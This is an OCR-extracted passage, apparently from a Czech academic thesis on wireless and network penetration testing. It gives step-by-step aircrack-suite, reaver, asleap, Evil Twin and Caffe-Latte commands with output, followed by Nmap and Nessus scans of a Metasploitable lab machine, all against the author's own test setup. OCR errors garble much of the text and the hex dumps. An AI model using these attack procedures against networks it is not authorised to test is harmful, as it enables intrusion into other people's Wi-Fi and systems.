)¢ 03 01 Ga 2a 01 00 32 04 30 48 60 6¢c 2d 1a ef 11 o2y B L <
o7 Packets: 3690 - Displayed: 2122 (57.5%) - Dropped: 78 (2.1%) Profile: Default
Obrazek 6 - Wireshark SSID
Aktivni pristup

Pokud se neobjevi zadny klient, ktery by se k siti nové pfipojoval a tim vygeneroval probe
response/request, je nutné pouzit tzv. aktivni pfistup. Tento pfistup spociva v rozeslani
deatuthentication packetu do broadcastu, ¢imz jsou jiz pfipojeni klienti nuceni znovu odeslat
probe request, ze kterého mizeme SSID vycist stejné jako v ptipad€ pasivniho piistupu.
K rozeslani deauthentika¢niho packetu pouzijeme nastroj Aireplay-ng, ktery je jako ostani
nastroje balicku Aircrack-ng dostupny v zékladni verzi Kali Linux. Deauthentika¢ni packet
se posila piikazem aireplay-ng -0 -5 -a <<adresa AP >>, kde 0 symbolizuje

deauthentikacni packet, 5 je pocet packetl, které chceme rozeslat.
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Filtr MAC adres

DalSim castym omylem uzivateld Wi-Fi je domnéni, ze pokud maji na svém routeru
nastavenou filtraci MAC adres, jsou V totalnim bezpeci. Jak ale ukazuje nasledujici piiklad,
neni to zas takova pravda. Obejit filtr MAC adres je jednoduché v ptipadé, Ze existuje klient,
ktery se k siti pfipojuje. Pokud takovy klient je, pak jednoduse spustime nastroj Airodump-
ng a zam¢&fime se na svoji testovaci sit’ (viz. kapitola 5.1). Zde jiz vidime klienty, ktefi jsou
k siti momentalné pfipojeni. Vybereme si tedy jednu z MAC adres téchto klienta a za
pomoci nastroje Macchanger, ktery je soucasti Kali, zménime MAC adresu své sitové karty
na MAC adresu vybraného klienta. To provedeme ptikazem macchanger -m <<Vybrana

MAC>> <<interface>>.

6.3 Zneuziti chyb v pouzitém zabezpeceni

V nésledujici kapitole bych rad demonstroval mozné vyuziti bezpecnostnich dér, které
vznikaji pfi pouziti riznych bezpe¢nostnich protokold. Otestuji, které zabezpeceni se da
prolomit prostym brute-force utokem a které se da naopak prolomit pouze pii $patném
nastaveni (tedy chyb& na strané¢ uzivatele), piipadné¢ zda existuje néjaké, které je

stoprocentn¢ bezpecné.
Zabezpeceni typu WEP

Jak jsem jiz popsal v teoretické casti, toto zabezpeceni je zastaralé a Wi-Fi Alliance
doporucuje ho viibec nevyuzivat, stale se ale najde obrovské mnozstvi siti, které toto
zabezpeceni pouzivaji jako svilj bezpecnostni protokol. Proto zde ukazu nékolik utoku, které

dokazou toto zabezpefeni poméerné jednoduse obejit.
S pripojenym klientem

Pokud existuje klient, ktery je ptipojeny K nasi cilové siti, mizeme ho vyuzit k rychlému
ziskani ARP packetu, tento ziskany packet nasledné vyuzijeme K utoku zvanému ARP
Request Replay, ktery nam dovoli mnohonasobné zvysit mnozstvi dat pfenasenych mezi

klientem a AP.
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Nastavime tedy sitovou kartu do monitorovaciho modu (viz. kapitola 5.1) a spustime
Airdoump-ng (jak je popsano v téze kapitole), ktery nam zobrazi ptipojené klienty a zaroven
diky nému mtzeme zachytit nové vygenerovany sitovy provoz. Na obrazku ¢islo 7 pod timto
textem je vidét pripojeny klient, kterého nasledné vyuzijeme pro provedeni utoku. Otevieme
si tedy druhy termindl, ze kterého pomoci néstroje Airbase-ng, konkrétné jeho piikazu
airbase-ng --arpreplay -h <<MAC klienta>> -b <<MAC AP>> <<interface>>
spustime ARP replay ttok. V terminalu, v némz bézi Airodump, je mozné vidét zvysené
mnozstvi sitového provozu. Pokud je zachyceno dostate¢né mnozstvi packett (uvadi se
okolo 40 000), pokusime se ziskat heslo pomoci nastroje Aircrack-ng, a to konkrétné
pfikazem aircrack-ng -b <<MAC AP>> <<soubor z Airodump>>. Pokudje prolomeni
hesla ispésné, objevi se na obrazovce hledany kli¢, viz. obrazek 7, pokud ne, je nutno cely
proces opakovat a zachytit vétsi objem dat.

pogasta@kali: ~ (- oM x )

Soubor Upravit Zobrazit Hledat Terminal Napovéda

][ Elapsed: 12 s ][ 2016-04-21 02:02

PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH
:84:88:B5:0E -19 100 160 13 4 9 54e. WEP WEP
STATION PWR Rate Lost Frames Probe

:84:88:B5:0E 68:94:23:FD:6A:07 -38 ol ol 8

Obrazek 7- Airodump pripojeny klient

Bez pripojeného klienta

Utok na router zabezpe&eny pomoci WEP je mozné provést i bez existence klienta, ktery by
se knému pfipojoval. Postup je nasledujici: nejdiive pifepneme sitovou kartu do
monitorovaciho modu (jak je ptfedvedeno v ¢asti 5.1), dale provedeme faleSnou autentizaci
na AP pomoci utility Aireplay-ng, a to konkrétné pomoci ptikazu aireplay-ng -1 0 -e

<<ESSID AP >> -a <<BSSID >>, -h <<MAC sitove karty >> <<interface >>,
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kde 1 symbolizuje faleSnou autentizaci a 0 urcuje interval, v némz se bude autentizace

automaticky obnovovat. Usp&sné provedenou autentizaci miiZete vidét na obrazku &islo 8.

root@kali: ~ @00
File Edit View Search Terminal Help

:DB:4aireplay-ng -1 6000 -o 1 -e "Wireless Lab" -a C4:E9:84:88:B5:0E -h
:DB:43:BA wlanGmon
Waiting for beacon frame (BSSID: C4:E9:84:88:B5:0E) on channel 11

Sending Authentication Request (Open System) [ACK]
Authentication successful

Sending Association Request [ACK]

Association successful :-) (AID: 1)

Sending keep-alive packet [ACK]I

Obrazek 8- fale§na autentizace na AP

V dal§im kroku si otevieme druhy terminal, v némz se pokusime provést tzv. ChopChop
attack, abychom ziskali PRGA a mohli si pomoci n¢j sestavit vlastni ARP packet. Toho se
pokusime docilit opét za vyuziti Aireplay-ng. Tentokrat pouzijeme ptikaz aireplay-ng -4
-b <<BSSID >>-h <<MAC sitové karty >> <<interface >> parametr -4 zde
symbolizuje typ utoku tedy v mém piipadé Chop-Chop (je mozné vyuzit i volbu -5, ktera
docili toho samého, ale za pouZiti Fragmenatation utoku). Program zachyti datovy packet
zobrazi se volba, vyuziti tohoto packetu, jak je mozno vidét na obrazku ¢&islo 8.
root@kali: ~ @ (
File Edit View Search Terminal Help

Size: 333, FromDS: 1, ToDS: O (WEP)

BSSID
Dest. MAC
Source MAC

:E9:84:88:B5:0E
1:00:5E:7F:FF:FA
:E9:84:88:B5:0E

I un

0x0000: 0842 0100 5e7f fffa
0x0010: c4e9 b50e 102c 0303
0x0020: 7720 d549 a757 61c7
0x0030: Oabd 917d cceb6 392f
0x0040: fdag 50a0 5ffa 618d
0x0050: 1261 7613 aeB80 alcl
Ox0060: d850 9954 d594 046e
Ox0070: 8f59 56cl O1ff fbb2
0x0080: 5e36 eebl bBe7 9fb2
0x0090: 9342 5fdb 390e c7d0
0x00a0: 631c d752 5667 4763
Ox00b0: 8b33 7038 cbh70 dd53
Ox00cO: 48e4 6043 9e72 e24a
0x00d0o: dblb da56 a967 7b77
--- CUT ---

Use this packet ? i
:17 Sending keep-alive packet [ACK]
Obrazek 9- datovy packet
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Nyni mame PRGA a muizeme si pomoci programu Packetforge (ktery je samoziejmé

soucasti Kali Linux) vytvofit svlij vlastni ARP packet. To provedeme pomoci prikazu

packetforge-ng -0 -a <<BSSID >> -h <<MAC sitove karty >> -k 255.255.255.255 -1

255.255.255.255 ~y <<soubor ziskany v minulém kroku >> -w <<soubor, do n&j# chceme
ulozit ArRP >>. Parametr -0 udava typ packetu ARP, parametry -1 a -k jsou cilova a zdrojova
IP, ale vétSina routert reaguje na 255.255.255.255, jak ukazuje obrazek ¢islo 10.

root@kali: ~ - O <]

File Edit View Search Terminal Help
:~# packetforge-ng -0 -a C4:E9:84:88:B5:0E -h C4:E9:84:DB:43:BA -k 255.
255.255.255 -1 255.255.255.255 -y replay dec-0417-120725.xor -w arpnew

Wrote packet to: arpnew
e |

Obrazek 10- vytvoieni ARP packetu

Pokud mame ARP packet, miizeme piejit k samotnému utoku. Otevieme si terminal, Vv némz
si spustime Airodump-ng (jak jsem popsal v kapitole), a v druhém terminalu pustime ARP
replay utok pomoci pifikazu aireplay-ng -2 -r <<soubor s ARP packetem
>><<interface >>, Kde -2 zastupuje typ itoku ARP replay. Pokud se ndm povede nasbirat
dostateén¢ velké mnozstvi dat, pouzijeme stejné jako v ptipad¢ s pfipojenym klientem
nastroj Aircrack-ng, ptikazem aircrack-ng -b <<BSSID >> <<soubor z airodump>>.
Pokud vse probéhlo v potadku, je vystupem hledany WEP key, pokud Aircrack kli¢ nenasel,

je proces nutno opakovat s vétsim objemem zachycenych dat.
Zabezpeceni typu WPA/WPA2

Jak jiz bylo demonstrovano v teoretické ¢asti prace, spravné nastavené¢ AP s WPA a vyS§im
zabezpecenim je velmi bezpecné a odolné proti ttokiim typu brute-force, proto jedinym
funkénim Gtokem je zde prosty slovnikovy utok. Uspd$né provedeni tohoto utoku je
podminéno chybou na stran¢ uzivatele v podobé volby kratkého nebo lehce uhodnutelného
PSK. Rad bych tedy alespon ukazal, jak tento slovnikovy utok provést, a uvedl par tipti na

jeho optimalizaci.

Zacneme opét piepnutim sitové karty do monitorovaciho modu (postup je mozné nalézt
v kapitole 5.1), dale pouzijeme airodump-ng , diky némuz muzeme po piipojeni klienta
zachytit 4-way-handshake. Pokud se zadny novy klient nepfipoji, pouzijeme Aireplay-ng a
piikazem aireplay-ng --deauth 1 -c <<klient MAC adresa >>, -a <<adresa AP
>>, <<interface >>,poSleme klientovi deauthentication packet, ktery ho donuti provést
opétovné piipojeni, pii némz se vygeneruje hledany handshake, ktery miizeme zachytit. Dale
budeme potiebovat soubor, ktery bude obsahovat potencidlni PSK, tzv. wordlist (n¢kolik
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worldlistt je dodavano ptimo v Kali, bohuzel ale obsahuji klice, které jsou pouzivané spise
v anglicky mluvicich zemich). V poslednim kroku pustime Aircrack-ng piikazem
aircrack-ng -w <<worldlist >> <<soubor s handshake >>, pokud wordlist obsahuje
hledany kli¢ m¢li bychom po néjakém cCase (zalezi na mnoha faktorech, jako je vypocetni

vykon, velikost worldistu, umisténi klice,...) vidét stejny vystup jako na obrazku 11.

root@kali: ~ - O~}
File Edit View Search Terminal Help

Aircrack-ng 1.2 rcé
[00:00:01] 604/9822768 keys tested (537.70 k/s)
Time left: 5 hours, 4 minutes, 50 seconds
KEY FOUND! [ abcdefgh ]

Master Key : Cl F1 E5 BD E8 1A A4
1 5B D6 F3 F1 CD 7E 9A

Transient Key : 2F D9 9C 18
5A CF 7F
DD 50 6C
96 48 91 BC

EAPOL HMAC : 82 A8 70

e |

Obrazek 11- WPA Aircrack duspéch

Pro efektivngj$i provedeni slovnikového utoku miizeme proces optimalizovat naptiklad
pomoci vyuziti databaze s pfedkompilovanymi PSK a 4-way-handshake, tzv. Rainbow table.
Tuto tabulku miiZeme vytvofit napfiklad pomoci néstroje Airlolib-ng. DalSi moznou
optimalizaci je vyuziti nastroje, ktery vyuziva vypocetni vykon grafické karty namisto
obvyklého procesoru, takovymi nastroji dostupnymi v Kali jsou naptiklad Pyrit nebo
oclHashacat. Jelikoz jsem k testovani pouzival virtualzovany systém, nebylo mozno tento

postup mozno efektivné vyuzit.

6.4 Utok proti AP a infrastrukture sité

Pokud nejsme schopni ziskat ptistup do sité s vyuzitim chyb v bezpe¢nostnich protokolech,
muzeme se pokusit vyuzit chyb v infrastruktuie sité nebo Spatného nastaveni samotného AP.
NejcastejSim bezpecnostim rizikem v tomto sméru je aktivni WPS, jak se pokusim ukazat
Vv této casti. Pokud ma router povolené WPS, je pomérné jednoduché ziskat do sité pristup a

to 1 pfes pouziti bezpecného WPA2 zabezpeceni.
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AP s aktivhim WPS

Princip WPS je detailn¢ popsan v teoretické ¢asti, proto bude v této casti ukédzan pouze
postup samotného utoku. Nejdiive pomoci néstroje Wash zjistime, které sité maji povolené
WPS a to konkrétné¢ ptikazem wash -i <<interface >>. Vystup je mozné vidét na
obrazku. Nasledn¢ pouzijeme utilitu Reaver, ktera implementuje Utok Pixie Dust.
Konkrétnim piikladem pouziti je piikaz reaver -i <<interface>> -b <<BSSID cilové
sité>>-vvv -K 1. BohuZel mnou testovany router je proti tomuto typu utoku zabezpecen,
proto se ziskani klice nezdafilo (jak je mozno vidét na obrazku 12). Pokud by ale router toto

zabezpeceni nemél, je ziskani klice otazkou nékolika malo sekund.

[Pixie-Dust]

[Pixie-Dust]

[Pixie-Dust]

[Pixie-Dust] [-] WPS pin not found!
]
]
]

Pixiewps 1.2

[Pixie-Dust
[Pixie-Dust
[Pixie-Dust

e |

[*] Time taken: 0 s 186 ms

Obrazek 12- PixieDust neuspéch

Radius server a WPA2 - Enterprise

Prolomeni sit¢ vyuzivajici zabezpeceni typu WPA/WPA2-Enterprise je mozné pouze za
ptihodnych okolnosti. Nejjednodussi je to v piipadé, kdy je pro komunikaci mezi serverem
a klientem pouzit protokol LEAP nebo EAP-MD5, protoze tyto dva protokoly jsou velmi
slabé a je mozné je prolomit pomoci jednoduchého bruteforce ttoku. Jelikoz nemam
k dispozici sit’ implementujici WPA2 — Enterprise pouzil jsem k testovani aplikaci Hostapd
a konkrétné jeji upravenou verzi WPE (Pownage edition), kterd byla vyvinuta pfesné pro

ucel penetracniho testovani siti s timto zabezpecenim.

V prvni fazi testovani WPA2-Enterprise je nutné zachytit EAP handshake, to l1ze proveést
klasicky za pomoci Airodump-ng, jak je popsano Vv kapitole 5.1. Pokud Airodump zachyti
handshake je potieba zachyceny soubor prozkoumat napiiklad ve Wiresharku a zjistit, ktery
bezpecnostni protokol je v siti pouzivany. Pokud je to jeden z prolomitelnych protokolt
pustime slovnikovy utok pomoci nastroje aesleap. Toto se mi bohuzel nepodaftilo prakticky
ovérit, jelikoz jsem disponoval pouze jednou sitovou kartou a nemohl jsem mit na sitové

karté emulovany radius server a také odposlouchévat sitovy provoz.

Dalsim napadnutelnym protokolem je PEAP a to pouze v piipadé, Ze klient nevaliduje na

sve strané certifikdt RADIUS serveru, pokud tomu tak je, je mozné pouzit faleSny radius
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server, ke kterému se klient pfipoji a my ziskdme challenge a response MSCHAPv2
protokolu, pomoci niz mizeme jiz jednoduse pustit slovnikovy ttok pomoci programu
Asleap, a to konkrétné piikazem asieap -C <<Challenge>> -R <<RESPONSE>> -w
<<worpLIST>>. Usp&ny pokus je mozné vidét na obrazku 13 nize.

pogasta@kali: ~ [— I 0 ]

Soubor Upravit Zobrazit Hledat Terminal Napovéda

:~$ sudo asleap -C cf:26:dc:6a:d0:6c:4e:42 -R 99:0a:97:b2:d4:22:f7:cjg
:07:ba:bl:25:c6:4c:b2:6b:7f:cb:03:e2:7d:5d:dc:64 -W rockyou.txt
asleap 2.2 - actively recover LEAP/PPTP passwords. <jwright@hasborg.com>

sing wordlist mode with "rockyou.txt".
hash bytes: e634
NT hash: 209c6174dad90caeb422f3faba7ae634
password: admin

Obrazek 13- Asleap uspéch
6.5 Utoky proti klientim

Pokud selzou vSechny ttoky mifené na AP nebo na infrastrukturu sité, je mozné vyuzit
k ziskani ptistupu i klienty, ktefi jsou pfimo nebo neptimo spojeni S testovanou siti. V této
¢asti bych rad ukdzal, jak vytvorit faleSné AP, tzv. Honeypot, a naldkat na n¢j klienty a poté

proti nim provést néktery z ttokd.
EvilTwin

Evil Twin neni typ Utoku, ktery by nas sdm o sob¢ dostal do sité nebo byl jakkoliv efektivni,
1ze ho ale pouzit jako piipravu pro provedeni slozitéjsich utoki jako je napiiklad CaffeLatte
nebo Man-in-The-Middle. Jak jsem psal v teoretické casti, principem tohoto tutoku je
k nasemu falesnému AP namisto ptvodniho. Prakticky jediné co k tomu potiebujeme, je
umistit nase dvojce (Evil Twin) blize ke klientovi, aby byla sila naseho signalu vyssi. Pokud
se nam to povede, m¢l by se klient automaticky pfipojit k naSemu faleSnému AP namisto

pravého AP bez toho, aby poznal rozdil.

K tspé€snému nasazeni evil twin potiebujeme znat BSSID routeru, ktery chceme napodobit,
a kandl, na kterém vysila. Tyto informace zjistime jednoduse pomoci néstroje airodump-ng,
jak je popsano v kapitole 5.1. Poté jiz staci vytvorit falesné AP pomoci utility Airbase-ng,
konkrétn€ pouzitim piikazu airbase-ng --essid <<ESSID cilového AP >> -c <<kandl

AP >> <<interface >>,
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Momentalné tedy existuji dvé AP se stejnymi parametry, nase virtudlni AP ma vSak silnéjsi
signal, proto by se mél klient, ktery ma nastaveno automatické ptipojovani k dané siti,
pfipojit rovnou na naSe dvoj¢e. Pokud se v dosahu neobjevi zadny novy klient, mizeme
rozeslat stavajicim klientim deauthentication packet a donutit je k novému pfipojeni, které

by uz ale mélo byt na nas honeypot.
WERP sit’ a Caffe-Latte attack

Caffe-Latte je dalsim dikazem nespolehlivosti WEP zabezpeceni, jediné, co nam staci, je
najit klienta, ktery se automaticky pfipojuje k testované siti. Pokud takového klienta
najdeme, staci pouze, abychom v jeho blizkosti nastrazili falesné dvojce cilové sité pomoci
Airbase-ng a to ptrikazem airbase-ng -c <<kandl>> -e <<essid>> -F coffee -
I -W <<soubor>> <<interface>> Tento piikaz spusti Caffe-Latte attack proti klientovi,
ktery se na honeypot pfipoji, viz. obrazek 14. To nam dovoli ziskat dostate¢né mnozstvi dat,
které nasledné pouzijeme k prolomeni klice. Pokud méme nasbirano dostate¢né mnozstvi
dat, staci pouzit Aircrack-ng stejné jako u ostatnich itoki na toto zabezpeceni.

pogasta@kali: ~ 00

Soubor Upravit Zobrazit Hledat Terminidl Napovéda

:~$ sudo airbase-ng -c 9 -e "Wireless Lab" -F coffee -L -W 1 -S 32 w

Created capture file "coffee-09.cap".

Created tap interface at0

Trying to set MTU on at@ to 1500

Access Point with BSSID C4:E9:84:DB:43:BA started.

Client 68:94:23:FD:6A:07 associated (WEP) to ESSID: "Wireless Lab"
Starting Caffe-Latte attack against 68:94:23:FD:6A:07 at 100 pps.

Obrazek 14- Caffe-Latte titok proti klientovi

6.6 Testovani siti s danym pristupem

Pokud se ndm podaii ziskat ptistup k cilové siti, pfipadné¢ ho mame poskytnuty od majitele
sit¢ jiz pfed zacatkem testovani, mlzZeme k jejimu otestovani pouzit ndstroje znamé
z penetracnich testli provadénych na klasickych LAN sitich. V této kapitole si tedy ukazeme,
jak zjistit informace o testovaném prosttedi a jeho ptipadné bezpecnostni slabiny za pouziti
bezpecnostnich scannerit Nmap a Nessus Security Scanner. Nalezené slabiny se poté
pokusime zneuzit za pomoci Metasploit frameworku. Pro lepsi a nazornéjsi provedeni testti
budou vSechny procesy piedvedeny na specializované Ubuntu distribuci Metasploitable 2,
ktera je jiz v zékladu distribuovana s mnoha bezpecnostnimi chybami a je tedy urcena pro

predvedeni principti penetrac¢niho testovani hlavné za pomoci frameworku Metasploit.
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6.6.1 Zjisténi slabin sité

Jako prvni si tedy ukazeme ziskani podrobnych informaci o testované sit¢ za pomoci
specializovaného scanneru Nmap (pro uzivatele, ktefi preferuji grafické rozhrani, existuje
nadstavba Zenmap). V druhé ¢asti bude pfedveden obdobny proces za pomoci komeréniho

a velmi rozsahlého nastroje Nessu Security Scanner.
Vyuziti Nmap

V prvnim kroku potiebujeme zjistit velikost testované sité, abychom snizili dobu
provadénych skenti na minimum. To mizeme zjistit pomérné jednoduse, postaci nam k tomu
IP adresa a maska sité, tyto informace si mizeme vytahnout pomoci standardniho nastroje
Ifconfig, tedy konkrétné piikazem ifconfig | grep mask .Jak je vidét na obrazku cislo
15 nize, v této testovaci siti se mize nachédzet 0-254 hostli. Ddle tedy potifebujeme zjistit,

ktefi hosté se v siti redlné vyskytuji.

root@kali: ~ 000

File Edit View Search Terminal Help

i~# ifconfig | grep mask
inet 192,168.203.132 netmask 255.255.255.0 broadcast 192.168.203.255

inet 127.0.0.1 netmask 255.0.0.0
= |

Obrizek 15- Zjidténi velikosti sité
K tomuto ucelu vyuZzijeme diive zminény nastroj Nmap a ptikazem nmap -sn <<IP adresa
sit&>> proskenujeme cely subnet, diky ¢emuz ziskame informace o vSech ptipojenych
Klientech (parametr -sn zakazuje Nmap zjistovat o klientovi dals$i informace, jako jsou
oteviené porty a bézici sluzby po jeho objeveni, tyto informace budou zjiStovany az
Vv nasledujicich krocich). Jak se ukazuje na obrazku s ¢islem 16, Kk této siti je pfipojeno pét
klientd, z nichz jeden je na$ nastreny zranitelny klient. V dal§im kroku se tedy o tomto

klientovi pokusime zjistit podrobnéjsi informace, které by nam mohly pomoci v nasledném

pokusu o zneuziti tohoto klienta.
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root@kali: ~ 000

File Edit View Search Terminal Help
# nmap -sn 192.168.203.0/24

Starting Nmap 7.01 ( https://nmap.org ) at 2016-07-27 04:35 EDT

Nmap scan report for 192.168.203.1

Host is up (0.00015s latency).

MAC Address: 00:50:56:C0:00:08 (VMware)

Nmap scan report for 192.168.203.2

Host is up (0.0001ls latency).

MAC Address: 00:50:56:E8:CB:EOQ (VMware)

Nmap scan report for 192.168.203.128

Host is up (0.00015s latency).

MAC Address: 00:0C:29:9D:7B:DB (VMware)

Nmap scan report for 192.168.203,254

Host is up (0.000047s latency).

MAC Address: 00:50:56:FC:6B:42 (VMware)

Nmap scan report for 192,168.203,132

Host 1is up.

Nmap done: 253 IP addresses (5 hosts up) scanned in 14.66 seconds
i 3

Obrazek 16 - Nmap Kklienti v siti

K zisku téchto informaci ndm opét pomiize Nmap, a to konkrétné ptikaz nmap -ss -sv -0
<<IP adresa klienta>>, ktery ndm zjisti o klientovi dtilezité informace jako jsou oteviené
porty, bézici sluzby, ptipadné i verze a typ operac¢niho systému. Jak je ukazano na obrazku
¢islo 17 pod timto odstavcem, ve vypisu z Nmap se objevuje velké mnoZstvi otevienych
portti, a to z divodu pouziti distribuce Metasploitable pro diivody ndzorného ptredvedeni

funkc¢nosti nastroje.

root@kali: ~ (- JC <

File Edit View Search Terminal Help

Nmap scan report for 192.168.203.128
Host is up (0.00016s latency).
Not shown: 977 closed ports
STATE SERVICE VERSION
open ftp vsftpd 2.3.4
open ssh OpenSSH 4.7pl Debian 8ubuntul (protocol 2.0)
open telnet Linux telnetd
open smtp Postfix smtpd
open domain ISC BIND 9.4.2
open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
open rpchind 2 (RPC #100000)
open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
open exec netkit-rsh rexecd
open login?
open tcpwrapped
open rmiregistry GNU Classpath grmiregistry
open shell Metasploitable root shell
open nfs 2-4 (RPC #100003)
open ftp ProFTPD 1.3.1
open mysql MySQL 5.0.5la-3ubuntuS
open postgresql PostgreSQL DB 8.3.0 - 8.3.7
open vnc VNC (protocol 3.3)
open X11 (access denied)
open 1irc Unreal ircd
open ajpl3 Apache Jserv (Protocol v1.3)
open http Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 00:0C:29:9D:7B:DB (VMware)
Device type: general purpose
ing: Linux 2.6.X
¢ cpe:fo:linux:linux_kernel:2.6
0S details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
Service Info: Hosts: metasploitable.localdomain, localhost, irc.Metasploitable.LAN; 0Ss:
ix, Linux; CPE: cpe:/o:linux:linux kernel

Obrazek 17- Nmap detail klienta

40



Dalsi velmi zajimavou a hlavné uzite¢nou informaci, kterou miizeme o nasem testovaném
Klientovi zjistit za pomoci tohoto nastroje, je pocet a n¢které dalsi informace 0 uzivatelich
existujicich na daném klientovi. K tomuto ucelu nam poslouzi jeden ze skriptit dostupnych
V nami pouzivaném Nmap. Tento skript je vyvolan piikazem nmap -script smb-enum-
users.nse -p 445 <<IP adresa klienta>>. Jak je mozné vidét na vystupu z Nmaps
na obrazku ¢islo 18, na nasem testovacim stroji se nachazi pomérné velké mnozstvi riznych
accounttl, asi nejzajimavéjsSim z nich je administratorsky ti¢et zvyraznény na daném obrazku

cervenym rameckem.

root@kali: ~ - O]

File Edit View Search Terminal Help

METASPLOITABLE\mail (RID: 1016)

Full name: mail

Flags: Normal user account, Account disabled
METASPLOITABLE\man (RID: 1012)

Full name: man

Flaas: Normal user account. Account disabled
METASPLOITABLE\mstadmin (RID: 3000)

Full name: msfadmin, ,,

Flags: Normal user account
MEITASPLOL I ABLE\mysql (RLD: 1Z218)

Full name: MySQL Server,,,

Flags: Normal user account, Account disabled
METASPLOITABLE\news (RID: 1018)

Full name: news

Flags: Normal user account, Account disabled
METASPLOITABLE\nobody (RID: 501)

Full name: nobody

Flags: Normal user account, Account disabled
METASPLOITABLE\postfix (RID: 1212)

Flags: Normal user account, Account disabled
METASPLOITABLE\postgres (RID: 1216)

Full name: PostgreSQL administrator,,,

Flags: Normal user account, Account disabled
METASPLOITABLE\proftpd (RID: 1226)

Obrizek 18- Uzivatelé na testovaném Klientovi
Diky vyuziti Nmap jsme tedy byli schopni zjistit, ze k nasi testované siti je pfipojenych pét
Klientu z254 moznych. Jednim ztéchto klientd je objekt naSeho testu s piedem
pfipravenymi bezpecnostnimi riziky. Tento klient ma ptidélenou IP adresu 192.168.203.128.
Provedli jsme tedy podrobngjsi test daného PC, pii némz byla zjisténa piitomnost 35
uZzivatelskych ucth véetné administratorského s ndzvem msfadmin. Déle jsme byli schopni
vyhledat oteviené porty a sluzby, které na nich momentalné naslouchaji. Jako potencionalné

rizikové faktory se zatim jevi bézici SQL a webserver.
Vyuziti Nessus

Velmi silnym nastroje pro oskenovani sité pro zjisténi jejiho rozsahu, ptipojenych hostl a
nasledné zjisténi a ohodnoceni bezpecCnostnich slabin a chyb sit¢ je komeréné hodné
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vyuzivany nastroj Nessus Security Scanner. Tento ndstroj umoziuje provést prakticky
jakékoliv skenovani potiebné pro zjisténi informaci o testované siti. Moznosti tohoto
nastroje jdou ovsem daleko za pouhé testovani pocitaCovych siti, v dnesni dobé jsou jeho
pluginy pouzivany pro testovani v prakticky vSech existujicich odvétvich pocitatové
bezpecnosti. Je ho mozné vyuzit pro otestovani zabezpeceni webovych aplikaci, mobilnich
zafizeni nebo tfeba cloudovych feSeni. Moznosti, které nabizi verze pouzivana pro ucely
testu, jsou zachyceny na obrazku s ¢islem 19 nize. Pokud by pro ucely testu dostupné moduly
nevyhovovaly, existuje moznost stazeni n¢kterého z piidavnych modulti nebo vlastnosti
existujicich moduli zkombinovat a vytvorit si test vlastni, vyhovujici pfesné potiebam
daného testovani. Obrovskou vyhodou tohoto nastroje je velmi propracované a uzivatelsky
ptivétivé prostiedi. Navic existuje obrovska fada nastaveni, které je mozné pii vytvareni
kazdého testu pouzit. Testy je mozné napldnovat na urcitou dobu, je mozné nastavit rozsah
scanu nebo dokonce i jaké porty a protokoly bude moci nastroj pouzivat, aby neporusoval
podminky nastavené pred zacatkem testu. Po skonceni scanu je mozné si nechat vysledky
vyexportovat do jednoho z mnoha formati vcetné PDF nebo HTML a tento soubor si

spolecné s notifikaci o skonceni nechat odeslat na email.

%, &N A n &

Advanced Scan Audit Cloud Infrastructure Badlock Detection Bash Shellshock Detection Basic Network Scan Credentialed Patch Audit DROWN Detection

E o ‘D’% EI% é E

Host Discovery Internal PCI Network Scan Malware Scan MDM Config Audit Moblle Device Scan Offline Config Audit PCI Quarterly External Scan

B, Y o

Policy Compliance Auditing SCAP and OVAL Auditing Web Application Tests

Obriazek 19- Nessus typy bezpecnostnich scanii
Pro ucely testti provadénych v praktické Casti této prace byla pouzita verze Home, ktera je
zdarma a poskytuje vSechny soucasti potfebné pro otestovani bezpecnosti pocitacové sité.
V prvnim kroku tedy opét potiebujeme védét, kolik klientskych PC se v cilové siti redlné
nachazi. Velikost sit¢ zjistime stejnym zptisobem jako pii pouziti Nmap, a to za pomoci
bézného Linuxového ndstroje Ifconfig, stejné jak je to ukazané v prechozi kapitole a na
obrazku ¢islo 15. Poté co jsme urcili velikost sité, potfebujeme zjistit pocet klientl, ktefi se
V siti realné nachazeji. Toho docilime provedenim nové skenu uzivajiciho jeden z moduli

dostupnych v Nessus a nesouci nazev Host Discovery. A jako cilovou oblast zvolime cely

42



zkoumany subnet stejné jako v pripad¢ pouziti Nmap v predchozi ¢asti. Poté co je sken
dokoncen, Nessus ndm poskytne velmi prehledné vystupy z jeho pritbé¢hu. Na obrazku 20 je
mozné vidét vystup dokonéeného testu na na$i testovaci siti. Jak je mozné z obrazku
vysledovat, test dopadl stejné jako v piedchozim piipadé s pouzitim Nmap a bylo potvrzeno,

ze k siti je v dobé testu pfipojeno prave pét klientskych PC.

Host Vulnerabilities = Scan Details
Status: Completed
192.168.203.2 — Policy: Host Discovery
Scanner: Local Scanner
Start: Today at 7:34 AM
192.168.203.132 — End: Today at 7:42 AM
Elapsed: 8 minutes
192.168.203.254 — Targets: 192.168.203.0/24

Obrazek 20- Nessus host discovery
V dalsi fazi nésleduje zjisStovani slabin pro jednotlivé nalezené klienty. Pro ucely tohoto
testu budeme vSak toto zjiStovani provadét pouze pro klienta, na némz je nainstalovany
Metasploitable 2. Vytvotfime tedy novy sken, pro néjz pouzijeme modul s ndzvem Basic
Network Scan, a pouZijeme ho proti nami zvolenému klientovi. Tento sken by mél odhalit
veétSinu znamych bezpecnostnich chyb, které jsou na cilovém klientském pocitaci dostupné.
Jak je vidét na vystupu skenu na obrazku ¢islo 21, Nessus tyto slabiny piehledné tadi dle
jejich nebezpecnosti postupné od téch, které pouze poskytuji potencidlnimu uto¢nikovi
informace o daném PC, az po ty, které jsou kritické a dovoluji titocnikovi pfevzit kompletni
kontrolu nad cilovym systémem. Jako kritické navic vyzdvihuje chyby, které jsou zptisobeny

nebezpeénymi praktikami, jako je pouzivani defaultnich hesel pro ptistup nebo administraci.

Severity a Plugin Name Pligin Farmily Count Host Details
Apache Tomcat Manager Common Administrative Credentials Web Servers 1 IP: 192.168.203.128
MAC: 00:0¢:29:90:7bidb
Debian OpenSSH/OpenSSL Package Random Number Generator Weakness Gain a shell remotely 1 os: Linux Kemel 2.6 on Ubuntu 8.04
(hardy)
Debian OpenSSH/OpenSSL Package Random Number Generator Weakness (SSL check) Gain a shell remotely 1 Start Today at 8:23 AM
End: Today at 8:34 AM
rexecd Senvice Detection Service detection 1 Elopreds  Llinuies
